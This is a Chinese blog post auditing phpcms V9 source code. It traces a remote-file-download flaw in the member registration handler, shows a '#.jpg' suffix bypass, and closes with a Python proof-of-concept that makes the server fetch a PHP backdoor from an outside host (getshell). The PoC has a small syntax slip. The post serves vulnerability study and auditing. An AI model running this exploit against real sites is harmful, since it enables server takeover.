phpcms V9 会员注册界面远程文件下载getshell漏洞源码审计

最新推荐文章于 2023-01-21 22:35:36 发布

Jietewang

最新推荐文章于 2023-01-21 22:35:36 发布

阅读量992

点赞数

分类专栏：源码审计文章标签： php

本文链接：https://blog.csdn.net/Jietewang/article/details/118824437

版权

源码审计专栏收录该内容

1 篇文章 0 订阅

订阅专栏

前几天客户网站被挂马了，于是对phpcms V9源码审计了一波。

该漏洞为远程文件下载，在会员注册界面存在参数可以执行远程下载命令，将后门文件下载到本地导致后门文件上传主机被控制，内容路径（/phpcms/modules/member/index.php），分析会员注册页面的register函数，结果如下图：

存在全局函数（new_html_special_chars）,该函数处理处理字符编码问题，并将结果存储成数组

上图只是对字符做了转换，在以下的代码中，发现通过POST传递的info数组被传递给了get函数。

上图中在52行处，使用了$this->fields,关于它的定义在member_input类的构造函数里面，代码如下：

在上图第7行，可以看见是对拼接后的字符串传递进了getcache函数，跟进这个函数发现该函数判断了如果传递进来的变量值不在[a-zA-Z0-9_-]的范围中，返回false，函数结束，再去加载配置文件，这个函数用于读取缓存，传递进来的参数是'model_field_'.$modelid。

根据源码中符合上图的定义的文件有

在get函数中开到$info[$field] = $value，根据传递进来的值如果为1时，读取缓存文件(model_field_1.cache.php)，关于formtype的配置为：

所以get函数的53行代码后段部分等同于$value = $this->editor($field, $value);也就是调用了editor函数，这里需要强调的是，触发漏洞需要调用editor函数，而我们读取缓存配置的文件有15个，然而其中符合'formtype' => 'editor',的文件只有9个，model_field_9.cache.php不在其中，所以我们传递进来的$modelid值就必须是1,2,3,10,11,12,13,14,15中的一个。然后我们现在继续跟进editor函数，代码如下：

其中$this->site_config的定义在content_input类的构造函数：

所以读取的缓存配置文件是phpcms/caches/caches_commons/caches_data/sitelist.cache.php，那么代码$this->site_config['setting']读取的setting的配置是：

在editor函数里调用了download函数，找到该函数，该函数在attachment类下

分析download函数，发现传递进去的第一个参数是规定为content，利用的时候提交info[content]=xxx，download函数分析如下：

在download函数的第153行代码，需要强调的是这里查了url后缀是否以gif|jpg|jpeg|bmp|png为后缀，不是就会直接结束。往下读代码，读到第73行代码，可以看见调用了fillurl函数，继续分析这个函数

代码的305行，最关键的一行代码$pos = strpos($surl,'#');这行代码将url里#前面的切割出来保存为url，而前面在download函数是查过后缀的，那么我们可以利用这一行代码达到绕过的目的，比如我们提交http://xxx/test.php#.jpg会通过对文件后缀的检查，然后经过切割，留下来的会是http://xxx/test.php成功绕过，然后fillurl函数剩下的代码就不是很重要了，主要做了先去掉url里的http://然后将在一起的多个单引号替换成了单个，最后返回的时候在加上http://。继续分析download函数没看完的代码，看到第166行代码，看到这里调用了fileext函数取文件扩展名，fileext函数代码如下：

分析代码后发现取得是最后一个点之后的内容当后缀名，这里需要强调是最后一个点，接着往下读，看第174行代码，其中$this->upload_func的定义在attachment类的构造函数，代码如下：

分析download函数，看第174行代码$upload_func($file, $newfile)就等同于copy($file, $newfile)，将文件复制到了本地，那么利用刚才的‘最后一个点’，我们可以控制文件后缀名为php，到此漏洞触发的全过程已经展现，已经可以导致getshell。

构造POC利用代码

#!/usr/bin/python
#coding:utf-8

import requests
url_1 = 'http://127.0.0.1/phpcms/index.php?m=member&c=index&a=register&siteid=1' 

data_1 = {
	'siteid':'1',
	'modelid':'1',
	'username':'test',
	'password':'test',
	'email':'test@test.com',
	'info[content]':'href=http://xxx.xxx.xxx.xxx/test.txt?.php#.jpg', # 需要到此地址下载后门文件
	'dosubmit':'1'
	'protocol':'',
}
info = requests.post(url=url_1,data=data_1)
print(info.text)

本文来自知乎大佬【血魂】